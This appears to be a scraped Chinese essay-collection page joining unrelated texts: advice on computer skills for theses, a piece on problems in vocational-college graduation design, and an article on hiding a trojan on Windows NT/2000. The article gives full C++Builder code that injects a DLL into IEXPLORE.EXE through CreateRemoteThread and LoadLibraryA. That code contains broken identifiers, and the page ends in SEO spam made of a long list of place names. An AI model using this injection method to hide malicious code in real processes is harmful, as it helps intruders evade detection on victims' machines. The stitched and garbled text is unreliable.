文檔演示畢業論文答辯時,_般采用PPT展示其研究課題。答辯過程主要包含兩部分,學生陳述和老師提問。學生的自主陳述過程,不僅需要其精彩的陳述,更需要映襯陳述的多媒體展示。目前,大多數學生往往直接將論文內容粘貼到PPT當中,卻不知如何精簡和美化,結果導致PPT臃腫,條理不清晰,沒有層次感。導致這一情況的直接原因就是學生缺乏PPT制作的技巧。

對于PPT的制作,應著重解決以下幾方面的問題:①整體結構設計;②頁面布局設計;③色彩搭配設計;④演講內容提煉;⑤媒體元素設置;⑥動態效果設置;⑦播放策略。

2.4 INTERNET文獻檢索

Internet是獲取科技信息非常方便的渠道。畢業論文的實踐不是閉門造車,而是他人研究成果的繼續。因而在研究之前需要查閱大量的文獻。文獻資料主要分為兩種資料:文本資料和電子資料。大部分的研究成果是以期刊論文、會議報告、學位論文等形式最先展示出來的,而這部分資料目前基本都被相關數據庫所收錄,存儲在數據服務器上。利用互聯網技術,可以非常方便地查閱到所需要的資料。

對于Internet文獻檢索,應著重解決以下幾方面的問題:①主要中文期刊數據庫;②主要英文期刊數據庫;③其它類型數據庫(如:電子圖書、電子報紙、會議論文、學位論文、標準、專利等);④檢索策略;⑤檢索技巧。

2.5 ENDNOTE文獻管理

在畢業論文撰寫過程中,根據撰寫需要,要對參考文獻進行插入、移動、刪除等各種管理操作。本科畢業論文的參考文獻數量一般在20篇左右,而研究生畢業論文的參考文獻數量可達100篇以上,對于如此多的文獻,如果采用人工管理的方式,不僅工作量巨大,而且非常容易出錯。通過專業的文獻管理軟件,可以非常方便地對參考文獻進行處理。文獻管理類軟件有多種,如:醫學文獻王、風^-express、Endnote、Referencemanager、Notefirst等。不同軟件有自己的特點和優勢,重點推薦Endnote文獻管理軟件,當然像Notefrst這種推出時間較短的國內免費軟件,也有不錯的口碑。

以Endnote文獻管理軟件為例,應著重解決以下幾方面問題:①參考文獻格式標準;②創建End-note圖書館;③文獻信息錄入;④Word中使用文獻格式模板設置;⑥高級應用。

3.本科畢業論文實踐中的計算機應用指導

3.1 加強計算機教育課程建設

通過調整課程設置和課程內容,引入相關計算機教育內容。同時,提高教學質量和水平,加強學生計算機實踐能力的培養。在《計算機基礎》課程中,要將Office辦公軟件引入到課程中,并要達到一定的應用水準。在《試驗設計與統計分析》課程中,可以引入Excel和SAS等軟件知識。在《文獻檢索》課程中,可以引入Internet的使用,數據庫查詢和Endnote軟件等知識。在其它專業課程中,凡涉及到計算機內容的,也要盡可能進行上機訓練,提高計算機應用能力。

3.2 加強計算機專業知識講座

通過專題講座的形式,講解畢業論文實踐過程中所使用的軟件知識。在畢業論文撰寫期間,可以通過專題講座,具有針對性地進行輔導。因此,學生可以及時的了解相關知識,并立即加以應用。除了現場的講座形式外,還可以利用網絡的優勢,建立網上學習平臺,將學習資源放在網絡上,學生可以隨時查詢相關計算機應用知識。

3.3 加強計算機硬件建設

加大計算機硬件設施的投入力度,優化計算機機房管理,提高計算機利用效率。根據學校人數和計算機使用的實際情況,合理投入資金進行計算機房的建設,增加計算機的臺套數。其次,制定合理的管理措施,適當延長計算機房的使用時間,提高計算機房的利用效率,減少計算機的非學習性占用。

3.4 加強指導老師的指導職責

制定畢業論文指導教師的考核體系,強化指導教師的責任意識,督促教師加強對學生的指導。從學校和學院兩個層次,學校層次要做好畢業論文指導的全面工作,同時要對計算機應用指導工作提出明確統_的要求,學院則有必要對學校的規定做出具體的安排和實施辦法。

篇9

畢業設計是所有工科人才培養方案中規定的重要實踐性教學環節,高等職業技術學院也不例外。通過該環節的教學使學生能夠綜合運用所學理論知識分析、解決實際工程問題,初步掌握設計的一般流程和方法,在設計態度、工程思想、實踐能力等方面得到系統的鍛煉和提高,為步入工作崗位打下良好的基礎。畢業設計的質量在一定程度上反映了學生的專業知識水平、工程素質以及綜合運用各種知識的能力;也在一定程度上體現了指導教師的治學態度、學術水平和指導設計工作的能力;同時也從一個側面表明了學校的教學質量和管理水平[1].尤其對于工科學生而言,畢業設計是他們走上工作崗位前的一次預演,應該引起足夠的重視

 

1.當前高等職業技術學院畢業設計(論文)存在的問題

 

1.1 學生思想重視不夠, 投入精力不足

 

由于目前就業形勢嚴峻, 一部分學生忙于參加各種各樣的招聘會和公司面試, 在畢業設計環節上投入精力甚微。畢業設計的時間與實習、頂崗或長升本(接本)時間重合,在兩者不可兼顧的情況下, 多數學生都選擇了工作或接本為主, 而不是做畢業設計。

 

1.2 選題不恰當

 

選題恰當是做好畢業設計( 論文) 的前提, 我院制訂的"無錫商業職業技術學院物聯網技術學院專科生畢業設計( 論文) 工作的若干規定"規定了選題的基本原則。

 

盡管如此, 但是選題不當的情況仍然時有發生, 表現在:(1) 論文題目大多由指導教師給定,學生并不感興趣, 因此更談不上對題目的意義有比較深入的思考; (2) 論文題目與學生的發展方向不一致。例如有的學生是軟件方向的, 但指導教師指定的題目卻是硬件方向的等等, 對于所用到的一些技術學生知之甚少; (3) 論文選題陳舊,圖書管理系統題、學生管理系統等類似的題已經做了多少年了, 每年都在做, 又沒有發展, 毫無創新性可言; (4) 選題脫離社會實踐, 所使用的技術屬于基本已經淘汰的技術, 對學生綜合能力培養的幫助不大;

 

1.3 指導教師缺乏經驗, 指導強度大

 

由于計算機專業發展比較晚, 具有豐富項目實踐經驗的老教師十分稀缺。而隨著近幾年計算機專業擴招, 高校引入了大批的年輕的畢業生充實教師隊伍, 這些年輕教師本身充滿活力, 敢想敢干, 不足之處在于他們多是畢業后直接從事教學工作, 實際的工程項目實踐經驗不足, 而計算機專業本身是一個實踐性要求很強的專業, 沒有這些實踐體會, 就很難理解軟件開發過程、軟件技術如何應用到生產這些問題, 從而影響了畢業設計的質量;

 

1.4 畢業設計過程缺乏監督

 

一般按慣例, 指導教師與學生之間每星期至少應見面兩次, 了解學生畢業設計的進展情況。然而由于受到學生找工作、升本(接本)等特殊情況的影響, 很難堅持下來。學生缺乏主動性, 不愿意主動找指導教師交流, 因此使得畢業設計的過程缺乏監督。

 

1.5 論文抄襲現象時有發生

 

我校對論文抄襲現象處置甚嚴, 這也是對學生實事求是的科學態度和嚴肅認真的工作作風的培養, 然而, 部分學生報著僥幸和偷懶心理, 往往將網絡上檢索到的多篇論文稍加修改, 重新組織加工, 從而就變成了自己的畢業論文。有的學生甚至一字不改, 原文照搬。

 

總的說來,目前有的高等職業技術院校的畢業設計(論文)工作中的主要問題是少了一點“規矩”,即使有規矩也是“老規矩”。對隨著教育和教學改革的深化而出現的新情況遇到的新問題,缺乏深入的研究和及時的改革。

 

2.畢業設計(論文)的定位

 

計算機應用專業是一門綜合性非常高的學科,該專業軟件、硬件及系統的開發、應用、維護等工程領域,是一個縱向較深,橫向較廣的復合性、綜合性專業。畢業設計(論文)是學生綜合運用所學知識,分析、解決實際問題,培養獨立思考、獨立工作的能力,接受高等職業技術人員所必需能力的基本訓練的重要教學環節。畢業設計(論文)首先具有教學與教育功能,是實現專業培養目標,對學生進行設計科學教育,培養探求真理的科學精神,強化工程意識,進行工程基本訓練,提高學生科學研究能力、工程實踐能力、創新能力和經濟意識的重要階段;是培養學生優良思想品質,進行綜合素質教育的全面檢驗。其次,畢業設計(論文)成果具有直接或間接為經濟建設服務,為生產、科研服務的社會功能。隨著教育和教學改革的深化,對人才培養模式的改革,專業的拓寬改造,對人才培養提出了新的更高要求,我們更應高度重視畢業設計(論文)的基本要求和質量評價,使學生更清楚地知道怎樣主動做好畢業設計(論文),使指導教師更清楚地知道如何對學生進行指導,使管理人員知道怎樣抓住實質問題管理到位,以保證畢業設計(論文)的質量。

 

3.有關應對措施

 

3.1 加強學生思想教育

 

如何提高高校畢業設計的質量, 已成為一個日益引起教育界關注的話題。筆者陋見, 根本措施應當是加強學生教育, 使學生引起重視。其實多數高校和指導教師對于加強學生思想教育的重要性都深有體會, 但具體實施起來總覺得效果不如想象中好, 關鍵是在于“循循善誘”幾個字。筆者今年指導的幾個學生中, 也有個別學生對畢業設計重視不夠,設計時敷衍了事, 做好畢業設計,是為了對自己四年學習劃上一個圓滿的句號, 也是對個人責任心的一次考驗, 從而端正了態度, 主動性大大提高。

 

3.2 在畢業設計之前做專題講座

 

由于學生都是第一次參加畢業設計, 所以對如何進入狀態, 開始畢業設計工作, 如何查閱資料, 如何分階段完成, 如何撰寫開題報告和畢業論文, 如何對畢業論文的章節規劃、內容安排和格式規范等知識缺乏認識, 因此在畢業設計之前有必要做專門針對畢業設計如何開展的專題講座。

 

3.3 選題是關鍵, 鼓勵學生到企業進行畢業設計

 

選題是整個畢業設計(論文)的核心, 正確、恰當地選題是做好畢業設計(論文)的前提, 應首先把好選題關。在我系首先原則上把一人一題作為選題工作的重要原則少數課題比較大時, 可以分成幾個小課題, 但必須保證每個學生都是單獨完成自己的課題,防止學生互相“幫忙”的發生。

 

畢業設計(論文)題目需經過教研室討論、教研室主任審核、系主任批準。對于一些過易、任務過輕或所使用的是一些過時技術的題, 堅決要求進行重選。通過這些做法,保證了畢業設計(論文)題目的質量, 學生也反映良好。

 

開展學生畢業設計的一種新做法, 是讓學生到就業單位去做畢業設計, 利用企業的經費、場地和技術力量, 完成企業需要的技術課題, 實行校企聯合指導方式。一方面, 可培養學生工程設計和科學研究能力及團隊合作精神, 使學生了解和掌握實際工程設計和科研的全過程;另一方面,工作單位的實際課題, 任務明確, 要求具體, 時間性強, 能激發學生的工作熱情和主動性, 增強學生的事業心和責任感。同時, 便于用人單位和學生較早互相了解, 有利于學生就業后盡早地進人工作角色。我系目前對于這種新的指導方式正進行嘗試和摸索,從目前的效果來看,很受學生和用人單位的歡迎。[2]

 

3.4 過程管理很重要

 

開題報告完成以后, 就進入了漫長的實際設計過程。要增強對學生的監督和督促機制, 防止學生偷懶。其一,要增強指導教師的責任感;其二,可引入現在一些軟件公司常用的做法,要求學生寫周報,讓學生每周對自己畢業設計的工作進展, 取得的成果或碰到的困難做一次記錄。這樣既避免了學生臨時報佛腳,不做設計只寫論文的情況發生,又使學生的整個設計過程都有案可查, 增加了對畢業設計評分的合理性和公正性。[3]

 

3.5 如何杜絕論文抄襲現象

 

論文抄襲是學術界十分不齒的行為,應當給學生灌輸這種思想。學生大多都是第一次撰寫學術論文,一旦養成了抄襲的壞毛病,則日后對己對人都貽害無窮。一方面,應當將“對畢業論文抄襲進行嚴厲懲罰”寫入到畢業論文的要求規范當中去,一旦發現,絕不姑息;另一方面,指導教師可通過耐心教導,擊潰學生的僥幸心理,讓學生明白,抄襲的論文是無所遁形的。

 

3.6 改善評判學生畢業設計質量

 

學生的畢業設計質量由兩部分來衡量:

 

一是設計成果的質量, 包括軟件的功能、所采用的開發技術、人機界面等部分組成, 可通過現場演示和答辯來評分;

 

二是畢業論文質量,根據課題完成情況和答辯情況由指導教師、評閱教師和答辯小組分別按畢業設計(論文)評閱、評審評分標準采用“結構分”進行評定,其中指導教師成績占30%,評閱教師成績占30%,答辯小組成績占 40%

 

(1)指導教師評定成績

 

根據指導教師評審評分標準從學生工作量、工作態度、技術方案、分析與解決問題的能力、設計(論文)質量、創新等方面進行評定。

 

(2)評閱教師評閱成績

 

根據省教育廳的有關文件精神,要求每位學生的畢業設計(論文)必須由兩位熟悉相應課題內容的教師(可以是外聘教師)進行評閱,評閱評分標準從畢業設計(論文)內容、學生工作水平以及論文撰寫規范共同確定,每位評閱教師必須單獨填寫評閱表。

 

(3)答辯

 

成績主要由答辯小組根據答辯評審評分標準從學生的報告內容、報告過程、回答問題以及學生在畢業設計 (論文) 中的創新等方面進行評定。畢業設計(論文)成績按優秀(>85分)、良好(75分一84分)、中等(66 分一74分)、及格(60分一65分)、不及格(60分以下)五級分評定,其中優秀比例控制在 20%以內。[4]

 

篇10

關鍵字進程線程木馬動態鏈接庫

木馬程序(也稱后門程序)是能被控制的運行在遠程主機上的程序,由于木馬程序是運行在遠程主機上,所以進程的隱藏無疑是大家關心的焦點。

本文分析了WindowsNT/2000系統下進程隱藏的基本技術和方法,并著重討論運用線程嫁接技術如何實現WindowsNT/2000系統中進程的隱藏。

1基本原理

在WIN95/98中,只需要將進程注冊為系統服務就能夠從進程查看器中隱形,可是這一切在WindowsNT/2000中卻完全不同,無論木馬從端口、啟動文件上如何巧妙地隱藏自己,始終都不能躲過WindowsNT/2000的任務管理器,WindowsNT/2000的任務管理器均能輕松顯示出木馬進程,難道在WindowsNT/2000下木馬真的再也無法隱藏自己的進程了?我們知道,在WINDOWS系統下,可執行文件主要是Exe和Com文件,這兩種文件在運行時都有一個共同點,會生成一個獨立的進程,尋找特定進程是我們發現木馬的方法之一,隨著入侵檢測軟件的不斷發展,關聯進程和SOCKET已經成為流行的技術,假設一個木馬在運行時被檢測軟件同時查出端口和進程,我們基本上認為這個木馬的隱藏已經完全失敗。在WindowsNT/2000下正常情況用戶進程對于系統管理員來說都是可見的,要想做到木馬的進程隱藏,有兩個辦法,第一是讓系統管理員看不見你的進程;第二是不使用進程。本文以第二種方法為例加以討論,其基本原理是將自已的木馬以線程方式嫁接于遠程進程之中,遠程進程則是合法的用戶程序,這樣用戶管理者看到的只是合法進程,而無法發現木馬線程的存在,從而達到隱藏的目的。

2實現方法

為了弄清實現方法,我們必須首先了解Windows系統的另一種"可執行文件"----DLL,DLL是DynamicLinkLibrary(動態鏈接庫)的縮寫,DLL文件是Windows的基礎,因為所有的API函數都是在DLL中實現的。DLL文件沒有程序邏輯,是由多個功能函數構成,它并不能獨立運行,一般都是由進程加載并調用的。因為DLL文件不能獨立運行,所以在進程列表中并不會出現DLL,假設我們編寫了一個木馬DLL,并且通過別的進程來運行它,那么無論是入侵檢測軟件還是進程列表中,都只會出現那個進程而并不會出現木馬DLL,如果那個進程是可信進程,(例如瀏覽器程序IEXPLORE.EXE,沒人會懷疑它是木馬吧?)那么我們編寫的DLL作為那個進程的一部分,也將成為被信賴的一員,也就達到了隱藏的目的。

運行DLL方法有多種,但其中最隱蔽的方法是采用動態嵌入技術,動態嵌入技術指的是將自己的代碼嵌入正在運行的進程中的技術。理論上來說,在Windows中的每個進程都有自己的私有內存空間,別的進程是不允許對這個私有空間進行操作的,但是實際上,我們仍然可以利用種種方法進入并操作進程的私有內存。動態嵌入技術有多種如:窗口Hook、掛接API、遠程線程等,這里介紹一下遠程線程技術,它只要有基本的進線程和動態鏈接庫的知識就可以很輕松地完成動態嵌入。

遠程線程技術指的是通過在另一個進程中創建遠程線程的方法進入那個進程的內存地址空間。我們知道,在進程中,可以通過CreateThread函數創建線程,被創建的新線程與主線程(就是進程啟動時被同時自動建立的那個線程)共享地址空間以及其他的資源。但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個進程內創建新線程,被創建的遠程線程同樣可以共享遠程進程(是遠程進程)的地址空間,所以,實際上,我們通過一個遠程線程,進入了遠程進程的內存地址空間,也就擁有了那個遠程進程相當的權限。

3實施步驟

1)用Process32Next()函數找到宿主進程,獲取宿主進程ID,并用

OpenProcess()函數打開宿主進程。

2)用VirtualAllocEx()函數分配遠程進程地址空間中的

內存。

3)用WriteProcessMemory()函數將待隱藏的DLL的路徑名。

4)拷貝到步驟二已經分配的內存中。

5)用GetProcAddress()函數獲取LoadlibraryA()函數的實地址(在kernel32.dll中)。

6)用CreateRemoteThread()函數在遠程進程中創建一個線程。

7)它調用正確的LoadlibraryA()函數。

8)為它傳遞步驟二中分配的內存地址。

4具體實例

下面是在C++Builder4.0環境下編寫的運用遠程線程技術隱藏木馬的程序代碼:

#include<vcl.h>

#include<windows.h>

#include<stdio.h>

#include<tlhelp32.h>//該頭文件包涵了進程操作的API函數

#pragmahdrstop

#include"Unit1.h"

#pragmapackage(smart_init)

#pragmaresource"*.dfm"

InsistingpszLibFileName;//存放待隱藏的DLL文件名

HANDLEhProcessSnap=NULL;//進程快照句柄

HANDLEhRemoteProcess;//遠程進程句柄

LPVOIDpszLibFileRemote;//遠程進程中分配給文件名的空間

HMODULEphmd;//存放kernel32.dll句柄

HANDLEhRemoteThread1=NULL;//存放遠程線程句柄

TForm1*Form1;

//---------------------------------------------------------

__fastcallTForm1::TForm1(TComponent*Owner)

:TForm(Owner)

{

}

//---------------------------------------------------------

void__fastcallTForm1::Button1Click(TObject*Sender

{

PROCESSENTRY32pe32={0};

DWORDdwRemoteProcessId;

hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

//打開進程快照

if(hProcessSnap==(HANDLE)-1)

{

MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);

exit(0);

}//失敗返回

pe32.dwSize=sizeof(PROCESSENTRY32);

if(Process32Fi

rst(hProcessSnap,&pe32))//獲取第一個進程

{

do{

AnsiStringte;

te=pe32.szExeFile;

if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))

//找到宿主進程,以IEXPLORE.EXE為例

{dwRemoteProcessId=pe32.th32ProcessID;

break;

}

}

while(Process32Next(hProcessSnap,&pe32));//獲取下一個進程

}

else

{

MessageBox(NULL,"取第一個進程失敗","",MB_OK);

exit(0);

}

hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM

_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);

//打開遠程進程

pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";

//假設hide.dll是待隱藏的進程

intcb=(1+pszLibFileName.Length())*sizeof(char);//計算dll文件名長度

pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,

MEM_COMMIT,PAGE_READWRITE);

//申請存放文件名的空間

BOOLReturnCode=WriteProcessMemory(hRemoteProcess,

pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);

//把dll文件名寫入申請的空間

phmd=GetModuleHandle("kernel32.dll");

LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)

GetProcAddress(phmd,"LoadLibraryA");

//獲取動態鏈接庫函數地址

hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,

pfnStartAddr,pszLibFileRemote,0,NULL);

//創建遠程線

if(hRemoteThread1!=NULL)

CloseHandle(hRemoteThread1);//關閉遠程線程

if(hProcessSnap!=NULL)

CloseHandle(hProcessSnap);//關閉進程快照

}

該程序編譯后命名為RmtDll.exe,運行時點擊界面上的按鈕即可。

至此,遠程嵌入順利完成,為了試驗我們的hide.dll是不是已經正常地在遠程線程運行,我同樣在C++Builder4.0環境下編寫并編譯了下面的hide.dll作為測試:

nclude<vcl.h>

#include<windows.h>

#pragmahdrstop

#pragmaargsused

BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)

{

charszProcessId[64];

switch(reason)

{

caseDLL_PROCESS_ATTACH:

{//獲取當前進程ID

itoa(GetCurrentProcessId(),szProcessId,10);

MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);

break;

}

default:

}

returnTRUE;

}

當使用RmtDll.exe程序將這個hide.dll嵌入IEXPLORE.EXE進程后假設PID=1208),該測試DLL彈出了1208字樣的確認框,同時使用PS工具

也能看到:

ProcessID:1208

C:\WINNT\IEXPLORE.EXE(0x00400000)

……

C:\WINNT\hide.dll(0x100000000)

……

這證明hide.dll已經在IEXPLORE.EXE進程內正確地運行了。上面程序的頭文件由編譯器自動生成,未作改動,故略之。

5結束語

進程隱藏技術和方法有很多,而且這一技術發展也相當快,本文僅從一個側面加以討論,希望通過這一探討讓我們對進程隱藏技術有一個更清楚的認識,同時也為我們防范他人利用進程隱藏手段非法入侵提供參考,本文拋磚引玉,不當之處誠懇批評指正。

主站蜘蛛池模板: 苏州市| 双牌县| 峡江县| 北票市| 收藏| 梅河口市| 海安县| 皋兰县| 安多县| 九龙坡区| 高雄县| 时尚| 肇东市| 易门县| 宁武县| 丰都县| 庆云县| 同仁县| 鸡东县| 凌云县| 临夏县| 赫章县| 阳曲县| 雷山县| 新巴尔虎左旗| 明水县| 靖宇县| 花莲县| 长治县| 太仆寺旗| 博白县| 信宜市| 咸阳市| 墨江| 磐安县| 高青县| 普兰县| 甘泉县| 呼伦贝尔市| 永清县| 永寿县|